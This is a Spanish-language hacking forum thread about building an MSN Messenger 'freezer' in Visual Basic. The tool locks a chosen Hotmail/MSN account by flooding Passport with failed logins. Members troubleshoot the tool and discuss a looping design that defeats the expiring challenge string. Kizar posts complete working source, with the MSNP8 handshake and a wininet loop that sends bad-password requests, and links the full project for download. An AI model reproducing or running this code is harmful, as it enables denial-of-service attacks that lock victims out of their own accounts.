Fabricando un congelador tipo ice cold en vb[Optimizado]

Iniciado por Tengu, 28 Julio 2007, 20:17 PM

0 Miembros y 3 Visitantes están viendo este tema.

Freeze.


wACtOr

kizar ay un error, en el timer

error 9, el subindice esta fuera del intervalo.

tmp4 = tmp2(0) & "%40" & tmp2(1)

Kizar

He subido el proyecto entero, para que bloquee tiene que llegar al 100%
http://www.mediafire.com/?4vcnhw2dcyu

Tughack

Pork un timer? Les gusta usar timers por todo y por nada... No es nada bueno hacerlo con un timer ya k encima es muy facil aprovechar un loop k te oferecen las proprias necesidades del programa. Al hacer la conexion recibe los datos con el socket, despues en ese mismo evento se hacen las peticiones con inet/apis de la librera wininet y en el final empieza de nuevo con la conexion al messenger.hotmail.com. Y con esto se hace un loop. Para detenerlo solo hay k anadir un boolean y listo.

Salu2

Kizar

Tienes razón, pero el programa no esta optimizado, lo hice por pasar el rato y con el timer hago la conexión cada 2s que es suficiente para mantener la cuenta bloqueada, si pusiera un bucle la velocidad dependería de la velocidad de su conexión a internet.

Tughack

Cita de: KiZaR en  1 Agosto 2007, 23:26 PM
Tienes razón, pero el programa no esta optimizado, lo hice por pasar el rato y con el timer hago la conexión cada 2s que es suficiente para mantener la cuenta bloqueada, si pusiera un bucle la velocidad dependería de la velocidad de su conexión a internet.

Y es eso k se kiere. A la velocidad de la conexion es automaticamente la maior velocidade k puedes obtener y encima sin kualkier fallo.

Salu2

Kizar

Pero yo lo hago por un motivo, con conectar una vez cada dos segundos es suficiente, para que quiero conectar mas veces mas rápido si con eso es bastante?

Tughack

Cita de: KiZaR en  2 Agosto 2007, 00:25 AM
Pero yo lo hago por un motivo, con conectar una vez cada dos segundos es suficiente, para que quiero conectar mas veces mas rápido si con eso es bastante?

Porcierto lo haces igual k el icecold, no haces la conexion toda desde el inicio y con ese metodo falla al fin de un tiempo, ya k la challenge string expira, deberias empezar de nuevo la conexion en cada intento de login.

Algo como en el boton freeze le pones la conexion al messenger.hotmail.com y despues en el evento connect envia la primera peticion. Despues en el datarrival haces todas las demas peticiones y en el final, como ya havia dicho, haces el connect (como en el boton freeze), lo k te pone de nuevo en el evento connect, o sea un loop.

Asi se hace correctamente un freezer. Aunk k el ejemplo k has puesto ya  es algo con k se puedan orientar para haceren sus freezeres. Mejor k poner el codigo de un cliente de msn...

Salu2

Freeze.

Pueden dejar de hablar de mi :xD :xD :xD :xD :xD


Muy buen codigo... Claro hay que mejorarlo...

Kizar

#39
Les he arreglado un poco el código, al entrar en el bucle la ventana puede no responder pero esta haciendo su trabajo:

'Codez by Kizar
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Const email = "su_messenger@hotmail.com"
Dim ema As String, sta As Boolean

Private Sub Bloquear()
WS.Close
WS.RemoteHost = "messenger.hotmail.com"
WS.RemotePort = 1863
WS.Connect
End Sub

Private Sub Desbloquear()
sta = False
End Sub

Private Sub WS_Connect()
WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10)
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, tmp() As String, tmp2() As String
WS.GetData datos
Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & email & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & email & Chr(13) & Chr(10)
Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
tmp = Split(datos, " ")
tmp2 = Split(email, "@")
ema = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp2(0) & "%40" & tmp2(1) & ",pwd=crapware, " & tmp(4)
sta = True
Call Satura
End Select
End Sub

Private Sub Satura()
Dim hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
Do While sta = True
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
lgRep = HttpSendRequest(hRequest, ema, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Loop
End Sub


Si el código les parece largo pueden cambiar "messenger.hotmail.com" por "207.46.109.50" y quitar este cacho de código:
Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect